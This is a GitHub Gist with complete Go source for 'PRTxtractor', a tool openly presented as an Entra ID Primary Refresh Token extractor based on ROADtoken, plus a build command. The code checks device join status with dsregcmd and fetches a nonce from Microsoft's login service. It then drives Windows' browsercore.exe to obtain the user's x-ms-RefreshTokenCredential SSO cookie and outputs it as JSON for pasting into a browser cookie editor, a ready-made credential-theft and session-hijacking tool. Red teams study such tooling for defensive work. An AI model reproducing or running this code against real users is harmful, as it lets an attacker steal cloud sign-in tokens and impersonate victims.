Created
January 23, 2026 18:11
-
-
Save faisalfs10x/e917a27f319fc22955112c6044b993ad to your computer and use it in GitHub Desktop.
PRTxtractor - Entra ID PRT Extractor: rework & improvement based on original ROADtoken by @_dirkjan
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "bufio" | |
| "bytes" | |
| "encoding/binary" | |
| "encoding/json" | |
| "flag" | |
| "fmt" | |
| "io" | |
| "net/http" | |
| "os" | |
| "os/exec" | |
| "strings" | |
| "time" | |
| ) | |
| // Version information set during build | |
| var ( | |
| Version = "1.0" | |
| BuildTime = "unknown" | |
| BuildUser = "unknown" | |
| ) | |
| // Structs for parsing response | |
| type CookieResponse struct { | |
| Name string `json:"name"` | |
| Data string `json:"data"` | |
| P3PHeader string `json:"p3pHeader"` | |
| Flags int `json:"flags"` | |
| } | |
| type WAMResponse struct { | |
| Response []CookieResponse `json:"response"` | |
| } | |
| // Cookie format for JSON output | |
| type CookieJSON struct { | |
| Domain string `json:"domain"` | |
| HostOnly bool `json:"hostOnly"` | |
| HTTPOnly bool `json:"httpOnly"` | |
| Name string `json:"name"` | |
| Path string `json:"path"` | |
| SameSite string `json:"sameSite"` | |
| Secure bool `json:"secure"` | |
| Session bool `json:"session"` | |
| StoreID interface{} `json:"storeId"` | |
| Value string `json:"value"` | |
| ExpirationDate interface{} `json:"expirationDate"` | |
| } | |
| // Device info from dsregcmd | |
| type DeviceInfo struct { | |
| DeviceName string `json:"device_name,omitempty"` | |
| DeviceID string `json:"device_id,omitempty"` | |
| AzureAdJoined string `json:"azure_ad_joined,omitempty"` | |
| EnterpriseJoined string `json:"enterprise_joined,omitempty"` | |
| DomainJoined string `json:"domain_joined,omitempty"` | |
| TpmProtected string `json:"tpm_protected,omitempty"` | |
| DeviceAuthStatus string `json:"device_auth_status,omitempty"` | |
| AzureAdPrt string `json:"azure_ad_prt,omitempty"` | |
| AzureAdPrtUpdateTime string `json:"azure_ad_prt_update_time,omitempty"` | |
| AzureAdPrtExpiryTime string `json:"azure_ad_prt_expiry_time,omitempty"` | |
| EnterprisePrt string `json:"enterprise_prt,omitempty"` | |
| OnPremTgt string `json:"onprem_tgt,omitempty"` | |
| CloudTgt string `json:"cloud_tgt,omitempty"` | |
| ExecutingAccountName string `json:"executing_account,omitempty"` | |
| KeySignTest string `json:"key_sign_test,omitempty"` | |
| WamDefaultSet string `json:"wam_default_set,omitempty"` | |
| NgcSet string `json:"ngc_set,omitempty"` | |
| TenantName string `json:"tenant_name,omitempty"` | |
| TenantID string `json:"tenant_id,omitempty"` | |
| } | |
| // Parse dsregcmd output | |
| func parseDSRegCmd() (*DeviceInfo, error) { | |
| cmd := exec.Command("dsregcmd", "/status") | |
| output, err := cmd.Output() | |
| if err != nil { | |
| return nil, fmt.Errorf("[-] failed to run dsregcmd: %v", err) | |
| } | |
| info := &DeviceInfo{} | |
| scanner := bufio.NewScanner(bytes.NewReader(output)) | |
| currentSection := "" | |
| for scanner.Scan() { | |
| line := strings.TrimSpace(scanner.Text()) | |
| // Skip empty lines and separators | |
| if line == "" || strings.HasPrefix(line, "+---") { | |
| continue | |
| } | |
| // Detect sections | |
| if strings.Contains(line, "Device State") { | |
| currentSection = "device_state" | |
| continue | |
| } else if strings.Contains(line, "Device Details") { | |
| currentSection = "device_details" | |
| continue | |
| } else if strings.Contains(line, "Tenant Details") { | |
| currentSection = "tenant_details" | |
| continue | |
| } else if strings.Contains(line, "SSO State") { | |
| currentSection = "sso_state" | |
| continue | |
| } else if strings.Contains(line, "Diagnostic Data") { | |
| currentSection = "diagnostic_data" | |
| continue | |
| } else if strings.Contains(line, "User State") { | |
| currentSection = "user_state" | |
| continue | |
| } | |
| // Parse based on current section | |
| switch currentSection { | |
| case "device_state": | |
| if strings.HasPrefix(line, "AzureAdJoined") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.AzureAdJoined = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "EnterpriseJoined") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.EnterpriseJoined = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "DomainJoined") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.DomainJoined = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "Device Name") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.DeviceName = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| case "device_details": | |
| if strings.HasPrefix(line, "DeviceId") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.DeviceID = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "TpmProtected") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.TpmProtected = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "DeviceAuthStatus") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.DeviceAuthStatus = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| case "tenant_details": | |
| if strings.HasPrefix(line, "TenantId") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.TenantID = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "TenantName") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.TenantName = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| case "sso_state": | |
| if strings.HasPrefix(line, "AzureAdPrt :") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.AzureAdPrt = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "AzureAdPrtUpdateTime") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.AzureAdPrtUpdateTime = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "AzureAdPrtExpiryTime") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.AzureAdPrtExpiryTime = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "EnterprisePrt :") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.EnterprisePrt = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "OnPremTgt :") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.OnPremTgt = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "CloudTgt :") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.CloudTgt = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| case "diagnostic_data": | |
| if strings.HasPrefix(line, "Executing Account Name") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.ExecutingAccountName = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "KeySignTest") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.KeySignTest = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| case "user_state": | |
| if strings.HasPrefix(line, "WamDefaultSet") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.WamDefaultSet = strings.TrimSpace(parts[1]) | |
| } | |
| } else if strings.HasPrefix(line, "NgcSet") { | |
| parts := splitLine(line) | |
| if len(parts) >= 2 { | |
| info.NgcSet = strings.TrimSpace(parts[1]) | |
| } | |
| } | |
| } | |
| } | |
| return info, nil | |
| } | |
| // Helper function to split lines with colon, handling spaces | |
| func splitLine(line string) []string { | |
| // Find the first colon | |
| idx := strings.Index(line, ":") | |
| if idx == -1 { | |
| return []string{line} | |
| } | |
| // Split into key and value | |
| key := strings.TrimSpace(line[:idx]) | |
| value := strings.TrimSpace(line[idx+1:]) | |
| return []string{key, value} | |
| } | |
| // Check if device is eligible for PRT extraction | |
| func isDeviceEligible(info *DeviceInfo) (bool, string) { | |
| if info.AzureAdJoined != "YES" { | |
| return false, "[-] Device is not Entra ID joined" | |
| } | |
| if info.AzureAdPrt != "YES" { | |
| return false, "[-] Device does not have Entra ID PRT" | |
| } | |
| if info.TenantID == "" { | |
| return false, "[-] No tenant ID found" | |
| } | |
| return true, "" | |
| } | |
| // Get nonce from Entra ID | |
| func getNonceFromEntraID(tenantID string) (string, error) { | |
| url := fmt.Sprintf("https://login.microsoftonline.com/%s/oauth2/token", tenantID) | |
| body := strings.NewReader("grant_type=srv_challenge") | |
| req, err := http.NewRequest("POST", url, body) | |
| if err != nil { | |
| return "", fmt.Errorf("[-] failed to create request: %v", err) | |
| } | |
| req.Header.Set("Content-Type", "application/x-www-form-urlencoded") | |
| req.Header.Set("Accept", "application/json") | |
| req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.3719.82") | |
| client := &http.Client{Timeout: 15 * time.Second} | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", fmt.Errorf("[-] network error: %v", err) | |
| } | |
| defer resp.Body.Close() | |
| respBody, err := io.ReadAll(resp.Body) | |
| if err != nil { | |
| return "", fmt.Errorf("[-] failed to read response: %v", err) | |
| } | |
| if resp.StatusCode != http.StatusOK { | |
| return "", fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) | |
| } | |
| var result map[string]interface{} | |
| if err := json.Unmarshal(respBody, &result); err != nil { | |
| return "", fmt.Errorf("[-] failed to parse response: %v", err) | |
| } | |
| nonce, ok := result["Nonce"].(string) | |
| if !ok || nonce == "" { | |
| return "", fmt.Errorf("[-] no nonce in response") | |
| } | |
| return nonce, nil | |
| } | |
| // Find browsercore.exe | |
| func findBrowserCore() (string, error) { | |
| locations := []string{ | |
| `C:\Program Files\Windows Security\BrowserCore\browsercore.exe`, | |
| `C:\Windows\BrowserCore\browsercore.exe`, | |
| `C:\Program Files (x86)\Windows Security\BrowserCore\browsercore.exe`, | |
| } | |
| for _, location := range locations { | |
| if _, err := os.Stat(location); err == nil { | |
| return location, nil | |
| } | |
| } | |
| return "", fmt.Errorf("[-] browsercore.exe not found in standard locations") | |
| } | |
| // Execute WAM communication | |
| func executeWAMWithNonce(nonce string) ([]byte, error) { | |
| browserCorePath, err := findBrowserCore() | |
| if err != nil { | |
| return nil, err | |
| } | |
| var jsonRequest string | |
| if nonce != "" { | |
| jsonRequest = fmt.Sprintf( | |
| `{"method":"GetCookies","uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=%s","sender":"https://login.microsoftonline.com"}`, | |
| nonce, | |
| ) | |
| } else { | |
| jsonRequest = `{"method":"GetCookies","uri":"https://login.microsoftonline.com/common/oauth2/authorize","sender":"https://login.microsoftonline.com"}` | |
| } | |
| cmd := exec.Command(browserCorePath) | |
| stdin, err := cmd.StdinPipe() | |
| if err != nil { | |
| return nil, fmt.Errorf("[-] failed to create stdin pipe: %v", err) | |
| } | |
| defer stdin.Close() | |
| stdout, err := cmd.StdoutPipe() | |
| if err != nil { | |
| return nil, fmt.Errorf("[-] failed to create stdout pipe: %v", err) | |
| } | |
| cmd.Stderr = nil | |
| if err := cmd.Start(); err != nil { | |
| return nil, fmt.Errorf("[-] failed to start process: %v", err) | |
| } | |
| length := int32(len(jsonRequest)) | |
| if err := binary.Write(stdin, binary.LittleEndian, length); err != nil { | |
| return nil, fmt.Errorf("[-] failed to write length: %v", err) | |
| } | |
| if _, err := stdin.Write([]byte(jsonRequest)); err != nil { | |
| return nil, fmt.Errorf("[-] failed to write request: %v", err) | |
| } | |
| stdin.Close() | |
| output, err := io.ReadAll(stdout) | |
| if err != nil { | |
| return nil, fmt.Errorf("[-] failed to read output: %v", err) | |
| } | |
| if err := cmd.Wait(); err != nil { | |
| if exitErr, ok := err.(*exec.ExitError); ok { | |
| return output, fmt.Errorf("[-] process exited with code %d", exitErr.ExitCode()) | |
| } | |
| } | |
| return output, nil | |
| } | |
| // Extract x-ms-RefreshTokenCredential cookie only | |
| func extractRefreshTokenCookie(wamResponse []byte) (*CookieJSON, error) { | |
| if len(wamResponse) == 0 { | |
| return nil, fmt.Errorf("[-] no response from WAM") | |
| } | |
| // Clean the response | |
| cleanResponse := strings.TrimSpace(strings.ReplaceAll(string(wamResponse), "\x00", "")) | |
| // Try to parse as JSON | |
| var response WAMResponse | |
| if err := json.Unmarshal([]byte(cleanResponse), &response); err != nil { | |
| // If not valid JSON, try to extract JSON part | |
| startIdx := strings.Index(cleanResponse, "{") | |
| endIdx := strings.LastIndex(cleanResponse, "}") | |
| if startIdx != -1 && endIdx != -1 { | |
| jsonPart := cleanResponse[startIdx : endIdx+1] | |
| if err := json.Unmarshal([]byte(jsonPart), &response); err != nil { | |
| return nil, fmt.Errorf("[-] failed to parse WAM response: %v", err) | |
| } | |
| } else { | |
| return nil, fmt.Errorf("[-] no valid JSON found in WAM response") | |
| } | |
| } | |
| // Find ONLY x-ms-RefreshTokenCredential | |
| for _, cookie := range response.Response { | |
| if cookie.Name == "x-ms-RefreshTokenCredential" { | |
| cookieJSON := &CookieJSON{ | |
| Domain: "login.microsoftonline.com", | |
| HostOnly: true, | |
| HTTPOnly: true, | |
| Name: cookie.Name, | |
| Path: "/", | |
| SameSite: "", | |
| Secure: true, | |
| Session: true, | |
| StoreID: nil, | |
| Value: cookie.Data, | |
| ExpirationDate: nil, | |
| } | |
| return cookieJSON, nil | |
| } | |
| } | |
| return nil, fmt.Errorf("[-] no refresh token found in response") | |
| } | |
| // Save JSON to file | |
| func saveJSONToFile(filename string, data []byte) error { | |
| return os.WriteFile(filename, data, 0644) | |
| } | |
| // Main execution with provided nonce | |
| func executeWithNonce(nonce string, raw bool, outputFile string) { | |
| // Step 4: Execute WAM with provided nonce | |
| fmt.Println("[+] Communicating with Windows WAM...") | |
| wamResponse, err := executeWAMWithNonce(nonce) | |
| if err != nil { | |
| fmt.Printf("[-] WAM communication failed: %v\n", err) | |
| os.Exit(1) | |
| } | |
| if !raw { | |
| fmt.Println("[+] WAM communication successful") | |
| fmt.Println("\n[4] Extracting refresh token...\n") | |
| } | |
| // Step 5: Extract refresh token | |
| cookie, err := extractRefreshTokenCookie(wamResponse) | |
| if err != nil { | |
| fmt.Printf("[-] %v\n", err) | |
| os.Exit(1) | |
| } | |
| if !raw { | |
| fmt.Println("[+] Refresh token extracted successfully") | |
| } | |
| // Step 6: Output JSON | |
| cookies := []CookieJSON{*cookie} | |
| jsonData, err := json.MarshalIndent(cookies, "", " ") | |
| if err != nil { | |
| jsonData, _ = json.Marshal(cookies) | |
| } | |
| // Save to file if requested | |
| if outputFile != "" { | |
| if err := saveJSONToFile(outputFile, jsonData); err != nil { | |
| fmt.Printf("[-] Failed to save to file: %v\n", err) | |
| os.Exit(1) | |
| } | |
| if !raw { | |
| fmt.Printf("[+] JSON saved to: %s\n", outputFile) | |
| } | |
| } | |
| // Output to console | |
| if raw { | |
| fmt.Println(string(jsonData)) | |
| } else { | |
| fmt.Println("\n=== JSON Output (copy for cookie editor) ===") | |
| fmt.Println(string(jsonData)) | |
| fmt.Println("\n[+] Process completed!") | |
| } | |
| } | |
| func main() { | |
| // Parse flags | |
| versionFlag := flag.Bool("version", false, "Show version information") | |
| rawFlag := flag.Bool("raw", false, "Only show JSON output (no verbose)") | |
| outputFlag := flag.String("output", "", "Save JSON output to file") | |
| nonceFlag := flag.String("nonce", "", "Use provided nonce instead of auto-discovery") | |
| helpFlag := flag.Bool("help", false, "Show help information") | |
| flag.Parse() | |
| if *helpFlag { | |
| fmt.Println("PRTxtractor - Entra ID PRT Extractor") | |
| fmt.Println("Rework & improvement based on original ROADtoken by @_dirkjan") | |
| fmt.Println("\nUsage: PRTxtractor [options]") | |
| fmt.Println("\nOptions:") | |
| flag.PrintDefaults() | |
| fmt.Println("\nExamples:") | |
| fmt.Println(" PRTxtractor # Auto-discover and extract PRT") | |
| fmt.Println(" PRTxtractor -nonce <nonce> # Use provided nonce") | |
| fmt.Println(" PRTxtractor -output token.json # Save to file") | |
| fmt.Println(" PRTxtractor -raw # Output only JSON (for scripting)") | |
| return | |
| } | |
| if *versionFlag { | |
| fmt.Printf("PRTxtractor %s\n", Version) | |
| fmt.Printf("Based on ROADtoken by @_dirkjan\n") | |
| //fmt.Printf("Build time: %s\n", BuildTime) | |
| //fmt.Printf("Build user: %s\n", BuildUser) | |
| return | |
| } | |
| // Manual nonce mode | |
| if *nonceFlag != "" { | |
| executeWithNonce(*nonceFlag, *rawFlag, *outputFlag) | |
| return | |
| } | |
| // Auto-discovery mode | |
| if !*rawFlag { | |
| fmt.Println("╔══════════════════════════╗") | |
| fmt.Println("║ PRT-extractor ║") | |
| fmt.Println("║ ║") | |
| fmt.Println("╚══════════════════════════╝") | |
| fmt.Println("\n[1] Checking device status...") | |
| } | |
| deviceInfo, err := parseDSRegCmd() | |
| if err != nil { | |
| fmt.Printf("[-] Failed to get device info: %v\n", err) | |
| os.Exit(1) | |
| } | |
| // Display device information in original format (if not raw) | |
| if !*rawFlag { | |
| fmt.Println("\n=== Device Information ===") | |
| fmt.Printf("Device Name: %s\n", deviceInfo.DeviceName) | |
| fmt.Printf("Device ID: %s\n", deviceInfo.DeviceID) | |
| fmt.Printf("Entra ID Joined: %s\n", deviceInfo.AzureAdJoined) | |
| fmt.Printf("Enterprise Joined: %s\n", deviceInfo.EnterpriseJoined) | |
| fmt.Printf("Domain Joined: %s\n", deviceInfo.DomainJoined) | |
| fmt.Printf("TpmProtected: %s\n", deviceInfo.TpmProtected) | |
| fmt.Printf("DeviceAuthStatus: %s\n", deviceInfo.DeviceAuthStatus) | |
| fmt.Printf("KeySignTest: %s\n", deviceInfo.KeySignTest) | |
| if deviceInfo.TenantName != "" { | |
| fmt.Printf("\nTenant Name: %s\n", deviceInfo.TenantName) | |
| } | |
| if deviceInfo.TenantID != "" { | |
| fmt.Printf("Tenant ID: %s\n", deviceInfo.TenantID) | |
| } | |
| fmt.Println("\n=== PRT Status ===") | |
| fmt.Printf("AzureAdPrt: %s\n", deviceInfo.AzureAdPrt) | |
| if deviceInfo.AzureAdPrtUpdateTime != "" { | |
| fmt.Printf("Last Update: %s\n", deviceInfo.AzureAdPrtUpdateTime) | |
| } | |
| if deviceInfo.AzureAdPrtExpiryTime != "" { | |
| fmt.Printf("Expires: %s\n", deviceInfo.AzureAdPrtExpiryTime) | |
| } | |
| fmt.Printf("EnterprisePrt: %s\n", deviceInfo.EnterprisePrt) | |
| fmt.Printf("OnPremTgt: %s\n", deviceInfo.OnPremTgt) | |
| fmt.Printf("CloudTgt: %s\n", deviceInfo.CloudTgt) | |
| if deviceInfo.ExecutingAccountName != "" { | |
| fmt.Printf("\nExecuting Account: %s\n", deviceInfo.ExecutingAccountName) | |
| } | |
| } | |
| // Step 2: Check conditions | |
| if !*rawFlag { | |
| fmt.Println("\n[2] Checking eligibility...\n") | |
| } | |
| eligible, message := isDeviceEligible(deviceInfo) | |
| if !eligible { | |
| fmt.Printf("[-] %s\n", message) | |
| os.Exit(1) | |
| } | |
| if !*rawFlag { | |
| fmt.Println("[+] Device is eligible for PRT extraction") | |
| } | |
| // Step 3: Get nonce | |
| if !*rawFlag { | |
| fmt.Println("\n[3] Requesting SSO nonce...\n") | |
| } | |
| nonce, err := getNonceFromEntraID(deviceInfo.TenantID) | |
| if err != nil { | |
| fmt.Printf("[-] Failed to get nonce: %v\n", err) | |
| os.Exit(1) | |
| } | |
| if !*rawFlag { | |
| fmt.Printf("[+] Nonce obtained (%d characters)\n", len(nonce)) | |
| } | |
| // Use the common execution function | |
| executeWithNonce(nonce, *rawFlag, *outputFlag) | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you're on Linux/Mac, compile for Windows
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o PRTxtractor.exe PRTxtractor.go